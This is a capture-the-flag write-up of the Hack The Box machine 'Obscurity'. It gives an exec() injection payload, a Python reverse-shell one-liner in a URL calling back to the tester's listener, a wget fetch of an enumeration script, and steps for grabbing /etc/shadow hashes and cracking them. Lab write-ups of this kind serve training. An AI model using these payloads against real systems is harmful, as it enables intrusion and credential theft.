HTB Obscurity

May 10, 2020 11-minute read

ctf • linux • python

0x01 Introduction Link to heading

Obscurity is medium difficulty Linux machine that features a custom web server. I missed the points for this machine since I was quite busy for the last few weeks and couldn’t find time to solve it. Anyway, here is my write-up.

0x02 Tools Link to heading

nmap
wfuzz
LinEnum
python3
john

0x03 Recon and Enum Link to heading

nmap Link to heading

  1# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.168 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -sC -sV -p$ports -oA obscurity 10.10.10.168
  2Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 21:49 AWST
  3Nmap scan report for 10.10.10.168
  4Host is up (0.28s latency).
  5
  6PORT     STATE  SERVICE    VERSION
  722/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  8| ssh-hostkey: 
  9|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
 10|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
 11|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
 1280/tcp   closed http
 138080/tcp open   http-proxy BadHTTPServer
 14| fingerprint-strings: 
 15|   GetRequest: 
 16|     HTTP/1.1 200 OK
 17|     Date: Mon, 20 Apr 2020 13:50:36
 18|     Server: BadHTTPServer
 19|     Last-Modified: Mon, 20 Apr 2020 13:50:36
 20|     Content-Length: 4171
 21|     Content-Type: text/html
 22|     Connection: Closed
 23|     <!DOCTYPE html>
 24|     <html lang="en">
 25|     <head>
 26|     <meta charset="utf-8">
 27|     <title>0bscura</title>
 28|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
 29|     <meta name="viewport" content="width=device-width, initial-scale=1">
 30|     <meta name="keywords" content="">
 31|     <meta name="description" content="">
 32|     <!-- 
 33|     Easy Profile Template
 34|     http://www.templatemo.com/tm-467-easy-profile
 35|     <!-- stylesheet css -->
 36|     <link rel="stylesheet" href="css/bootstrap.min.css">
 37|     <link rel="stylesheet" href="css/font-awesome.min.css">
 38|     <link rel="stylesheet" href="css/templatemo-blue.css">
 39|     </head>
 40|     <body data-spy="scroll" data-target=".navbar-collapse">
 41|     <!-- preloader section -->
 42|     <!--
 43|     <div class="preloader">
 44|     <div class="sk-spinner sk-spinner-wordpress">
 45|   HTTPOptions: 
 46|     HTTP/1.1 200 OK
 47|     Date: Mon, 20 Apr 2020 13:50:37
 48|     Server: BadHTTPServer
 49|     Last-Modified: Mon, 20 Apr 2020 13:50:37
 50|     Content-Length: 4171
 51|     Content-Type: text/html
 52|     Connection: Closed
 53|     <!DOCTYPE html>
 54|     <html lang="en">
 55|     <head>
 56|     <meta charset="utf-8">
 57|     <title>0bscura</title>
 58|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
 59|     <meta name="viewport" content="width=device-width, initial-scale=1">
 60|     <meta name="keywords" content="">
 61|     <meta name="description" content="">
 62|     <!-- 
 63|     Easy Profile Template
 64|     http://www.templatemo.com/tm-467-easy-profile
 65|     <!-- stylesheet css -->
 66|     <link rel="stylesheet" href="css/bootstrap.min.css">
 67|     <link rel="stylesheet" href="css/font-awesome.min.css">
 68|     <link rel="stylesheet" href="css/templatemo-blue.css">
 69|     </head>
 70|     <body data-spy="scroll" data-target=".navbar-collapse">
 71|     <!-- preloader section -->
 72|     <!--
 73|     <div class="preloader">
 74|_    <div class="sk-spinner sk-spinner-wordpress">
 75|_http-server-header: BadHTTPServer
 76|_http-title: 0bscura
 779000/tcp closed cslistener
 781 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 79SF-Port8080-TCP:V=7.80%I=7%D=4/20%Time=5E9DA86E%P=x86_64-pc-linux-gnu%r(Ge
 80SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Mon,\x2020\x20Apr\x2020
 81SF:20\x2013:50:36\nServer:\x20BadHTTPServer\nLast-Modified:\x20Mon,\x2020\
 82SF:x20Apr\x202020\x2013:50:36\nContent-Length:\x204171\nContent-Type:\x20t
 83SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
 84SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
 85SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
 86SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
 87SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
 88SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
 89SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
 90SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
 91SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
 92SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
 93SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
 94SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
 95SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
 96SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
 97SF:Mon,\x2020\x20Apr\x202020\x2013:50:37\nServer:\x20BadHTTPServer\nLast-M
 98SF:odified:\x20Mon,\x2020\x20Apr\x202020\x2013:50:37\nContent-Length:\x204
 99SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
100SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
101SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
102SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
103SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
104SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
105SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
106SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
107SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
108SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
109SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
110SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
111SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
112SF:k-spinner\x20sk-spinner-wordpress\">\n");
113Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
114
115Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
116Nmap done: 1 IP address (1 host up) scanned in 36.09 seconds

Default SSH port open and also http port 80 is open. Let’s check it. There is also another webserver on port 8080.

http (ports 80 and 8080) Link to heading

port 80 shows nothing:

let’s check 8080:

We got simple webserver called “Obscura”.

Ok, this information maybe somehow useful in future.

Hehe, this is funny, but again might be useful :lol:

wfuzz Link to heading

Let’s fuzz something out of this webserver using wfuzz

1wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -c --sc 200

Since we know the “possible” filename, we can expect only HTTP 200 repsonse, therefore we can sepcify it by using –sc 200.

it found one the folder develop

Let’s download the file:

1wget http://10.10.10.168:8080/develop/SuperSecureServer.py

We got python file and the most intersting part of it is this function:

 1    def serveDoc(self, path, docRoot):
 2        path = urllib.parse.unquote(path)
 3        try:
 4            info = "output = 'Document: {}'" # Keep the output for later debug
 5            exec(info.format(path)) # This is how you do string formatting, right?
 6            cwd = os.path.dirname(os.path.realpath(__file__))
 7            docRoot = os.path.join(cwd, docRoot)
 8            if path == "/":
 9                path = "/index.html"
10            requested = os.path.join(docRoot, path[1:])
11            if os.path.isfile(requested):
12                mime = mimetypes.guess_type(requested)
13                mime = (mime if mime[0] != None else "text/html")
14                mime = MIMES[requested.split(".")[-1]]
15                try:
16                    with open(requested, "r") as f:
17                        data = f.read()
18                except:
19                    with open(requested, "rb") as f:
20                        data = f.read()
21                status = "200"
22            else:
23                errorPage = os.path.join(docRoot, "errors", "404.html")
24                mime = "text/html"
25                with open(errorPage, "r") as f:
26                    data = f.read().format(path)
27                status = "404"
28        except Exception as e:
29            print(e)
30            errorPage = os.path.join(docRoot, "errors", "500.html")
31            mime = "text/html"
32            with open(errorPage, "r") as f:
33                data = f.read()
34            status = "500"
35        return {"body": data, "mime": mime, "status": status}

So, developer left some comments here and it seems that they intentionally left exec() function here and it is probably vulnerable for injection.

testing vulnerability Link to heading

let’s start this webserver and test if the vulnerability within the exec() function exists.

First let’s create the default page, that the webserver wants:

This files could be anything.

Then we need to add the following line into the .py file.

1server = Server ("127.0.0.1", 8080)
2server.listen()

Now, let’s run it:

1python3 SuperSecureServer.py

When requesting the default page we got our page all good. Let’s try to request something different, like:

1http://127.0.0.1:8080/';os.system('id');

We got an error, something related to EOL (end of line). What if the problem is with the quotes? Let’s add another quote:

1http://127.0.0.1:8080/';os.system('id');'

Wow. It works :)

Let’s try to do this on actual webserver now.

0x04 Exploitation Link to heading

Ok. We know the webserver is indeed vulenrable. But how can we get the information if we doesn’t have a console there?

The first thing that comes to mind is to sniff packets, right? Let’s try to use tcpdump for this. We also going to uce Internet Control Message Protocol (ICMP). This protocol is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address

1tcpdump -i tun0 icmp

Now, let’s go to the broswer and navigate to:

1http://10.10.10.168:8080/';os.system('ping -c 2 10.10.14.2');'

Ok, it seems that it is working. Now, let’s try to spawn a shell using python one-liners, from UB3RSEC.

getting shell Link to heading

Setup a listener on port 443:

1nc -lvnp 443

Perform the following request with python reverse shell one-liner. Note: We don’t have to import anything, because it’s already there, considering the python file we examined earlier.

1http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We got shell:

We can now upgrade it:

1SHELL=/bin/bash script -q /dev/null

LinEnum Link to heading

Awesome! We can now use some tools to enumerate. Let’s try LinEnum.

We’ll upload it to the temp directory using python server, as usual.

1#on kali
2python3 -m http.server 80
3
4#on obscure
5wget http://10.10.14.2/LinEnum.sh

Let’s run the script and check the results.

1./LinEnum.sh

Heaps of information as usual…

 1[...]
 2[-] Are permissions on /home directories lax:
 3total 12K
 4drwxr-xr-x  3 root   root   4.0K Sep 24  2019 .
 5drwxr-xr-x 24 root   root   4.0K Oct  3  2019 ..
 6drwxr-xr-x  7 robert robert 4.0K Dec  2 09:53 robert
 7[...]
 8[-] Contents of /etc/passwd:
 9root:x:0:0:root:/root:/bin/bash
10daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
11bin:x:2:2:bin:/bin:/usr/sbin/nologin
12sys:x:3:3:sys:/dev:/usr/sbin/nologin
13sync:x:4:65534:sync:/bin:/bin/sync
14games:x:5:60:games:/usr/games:/usr/sbin/nologin
15man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
16lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
17mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
18news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
19uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
20proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
21www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
22backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
23list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
24irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
25gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
26nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
27systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
28systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
29syslog:x:102:106::/home/syslog:/usr/sbin/nologin
30messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
31_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
32lxd:x:105:65534::/var/lib/lxd/:/bin/false
33uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
34dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
35landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
36pollinate:x:109:1::/var/cache/pollinate:/bin/false
37sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
38robert:x:1000:1000:robert:/home/robert:/bin/bash
39[...]

Looks like we have one directory inside robert’s home dir that we can access.

I couldn’t get the user.txt obviously, however, I found other files that I could access:

check.txt

1www-data@obscure:/home/robert$ cat check.txt
2cat check.txt
3Encrypting this file with your key should result in out.txt, make sure your key is correct! 
4www-data@obscure:/home/robert$

cat BetterSSH.py:

 1import sys
 2import random, string
 3import os
 4import time
 5import crypt
 6import traceback
 7import subprocess
 8
 9path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
10session = {"user": "", "authenticated": 0}
11try:
12    session['user'] = input("Enter username: ")
13    passW = input("Enter password: ")
14
15    with open('/etc/shadow', 'r') as f:
16        data = f.readlines()
17    data = [(p.split(":") if "$" in p else None) for p in data]
18    passwords = []
19    for x in data:
20        if not x == None:
21            passwords.append(x)
22
23    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
24    with open('/tmp/SSH/'+path, 'w') as f:
25        f.write(passwordFile)
26    time.sleep(.1)
27    salt = ""
28    realPass = ""
29    for p in passwords:
30        if p[0] == session['user']:
31            salt, realPass = p[1].split('$')[2:]
32            break
33
34    if salt == "":
35        print("Invalid user")
36        os.remove('/tmp/SSH/'+path)
37        sys.exit(0)
38    salt = '$6$'+salt+'$'
39    realPass = salt + realPass
40
41    hash = crypt.crypt(passW, salt)
42
43    if hash == realPass:
44        print("Authed!")
45        session['authenticated'] = 1
46    else:
47        print("Incorrect pass")
48        os.remove('/tmp/SSH/'+path)
49        sys.exit(0)
50    os.remove(os.path.join('/tmp/SSH/',path))
51except Exception as e:
52    traceback.print_exc()
53    sys.exit(0)
54
55if session['authenticated'] == 1:
56    while True:
57        command = input(session['user'] + "@Obscure$ ")
58        cmd = ['sudo', '-u',  session['user']]
59        cmd.extend(command.split(" "))
60        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
61
62        o,e = proc.communicate()
63        print('Output: ' + o.decode('ascii'))
64        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

cat SuperSecureCrypt.py

 1import sys
 2import argparse
 3
 4def encrypt(text, key):
 5    keylen = len(key)
 6    keyPos = 0
 7    encrypted = ""
 8    for x in text:
 9        keyChr = key[keyPos]
10        newChr = ord(x)
11        newChr = chr((newChr + ord(keyChr)) % 255)
12        encrypted += newChr
13        keyPos += 1
14        keyPos = keyPos % keylen
15    return encrypted
16
17def decrypt(text, key):
18    keylen = len(key)
19    keyPos = 0
20    decrypted = ""
21    for x in text:
22        keyChr = key[keyPos]
23        newChr = ord(x)
24        newChr = chr((newChr - ord(keyChr)) % 255)
25        decrypted += newChr
26        keyPos += 1
27        keyPos = keyPos % keylen
28    return decrypted
29
30parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
31
32parser.add_argument('-i',
33                    metavar='InFile',
34                    type=str,
35                    help='The file to read',
36                    required=False)
37
38parser.add_argument('-o',
39                    metavar='OutFile',
40                    type=str,
41                    help='Where to output the encrypted/decrypted file',
42                    required=False)
43
44parser.add_argument('-k',
45                    metavar='Key',
46                    type=str,
47                    help='Key to use',
48                    required=False)
49
50parser.add_argument('-d', action='store_true', help='Decrypt mode')
51
52args = parser.parse_args()
53
54banner = "################################\n"
55banner+= "#           BEGINNING          #\n"
56banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
57banner+= "################################\n"
58banner += "  ############################\n"
59banner += "  #        FILE MODE         #\n"
60banner += "  ############################"
61print(banner)
62if args.o == None or args.k == None or args.i == None:
63    print("Missing args")
64else:
65    if args.d:
66        print("Opening file {0}...".format(args.i))
67        with open(args.i, 'r', encoding='UTF-8') as f:
68            data = f.read()
69
70        print("Decrypting...")
71        decrypted = decrypt(data, args.k)
72
73        print("Writing to {0}...".format(args.o))
74        with open(args.o, 'w', encoding='UTF-8') as f:
75            f.write(decrypted)
76    else:
77        print("Opening file {0}...".format(args.i))
78        with open(args.i, 'r', encoding='UTF-8') as f:
79            data = f.read()
80
81        print("Encrypting...")
82        encrypted = encrypt(data, args.k)
83
84        print("Writing to {0}...".format(args.o))
85        with open(args.o, 'w', encoding='UTF-8') as f:
86            f.write(encrypted)

It seems that SuperSecureCrypt file is used to encrypt and decrypt files. Let’s check if we can decrypt the out.txt used with check.txt For this, we have to copy this two files to kali. There are numerous ways to do this, but I recently saw on reddit, that you can use base64 encoding to copy small files. Let’s try. w0 key is used to disable wrapping, by default it will wrap after 76 chars.

1#on victim
2base64 -w0 out.txt 
3base64 -w0 check.txt

out.txt:

1

wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vDmsOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOVw6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PDpMOhw5vDjMOXwonCgXY=

check.txt:

1

RW5jcnlwdGluZyB0aGlzIGZpbGUgd2l0aCB5b3VyIGtleSBzaG91bGQgcmVzdWx0IGluIG91dC50eHQsIG1ha2Ugc3VyZSB5b3VyIGtleSBpcyBjb3JyZWN0ISANCg==

Now let’s use this lines to “recreate” the files:

1#on kali
2echo 'base64 for out.txt' | base64 -d -w0 > out.txt
3echo 'base64 for check.txt' | base64 -d -w0 > check.txt

Wow. it actually worked :) nice trick, I should remember it. Now it’s time to try to decrypt the files. Using the SuperSecureCrypt as a reference, I came up with the following python code for decryption:

 1def extractKey(cipher, text):
 2
 3    pos = 0
 4    key = ""
 5    for item in list(text):
 6        character = cipher[pos]
 7        textchar = ord(item)
 8        key += chr((ord(character) - textchar))
 9        pos += 1
10    print(key)
11
12
13with open('out.txt') as file:
14    cipher = file.read()
15with open('check.txt') as file2:
16    text = file2.read()
17
18extractKey(cipher, text)

This gave me the following line:

Looks like this is our key “alexandrovich”. Now, Let’s try to use it as a key for decrypt() function, and we have to download “passwordreminder.txt” as well using the same base64 method :).

I used the following python code to decrypt the file:

 1def decrypt(text, key):
 2    keylen = len(key)
 3    keyPos = 0
 4    decrypted = ""
 5    for x in text:
 6        keyChr = key[keyPos]
 7        newChr = ord(x)
 8        newChr = chr((newChr - ord(keyChr)) % 255)
 9        decrypted += newChr
10        keyPos += 1
11        keyPos = keyPos % keylen
12     print (decrypted)
13
14with open('passwordreminder.txt') as file3:
15    text = file3.read()
16
17decrypt(text, "alexandrovich")

It gave me probably the password:

Let’s try connect via SSH and using this password together with user robert.

1ssh robert@10.10.10.168

We got shell as robert:

and we got a flag:

1cat /home/robert/user.txt

root Link to heading

There was a file that robert can access to BetterSSH.py. Moreover, he can run it as root:

So, let’s try to run it:

Seems, that it needs another file in tmp directory. Let’s try to create this file and run again.

First, we need to create SSH directory inside the tmp.

1mkdir /tmp/SSH

Then go to that direcotry and we need to somehow copy evertyhing that is creating here to another directory. After a bit of googling I found the command to copy everything created in one directory to another:

1while true; do sleep 1; cp -r . /tmp; done

Now, let’s run the python script for BetterSSH again.

And I got /etc/passwd hashes:

john Link to heading

I used john to crack the password:

1john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now, I can try to connect as root using the obtained password and extract the flag:

1su root
2
3cat /root/root.txt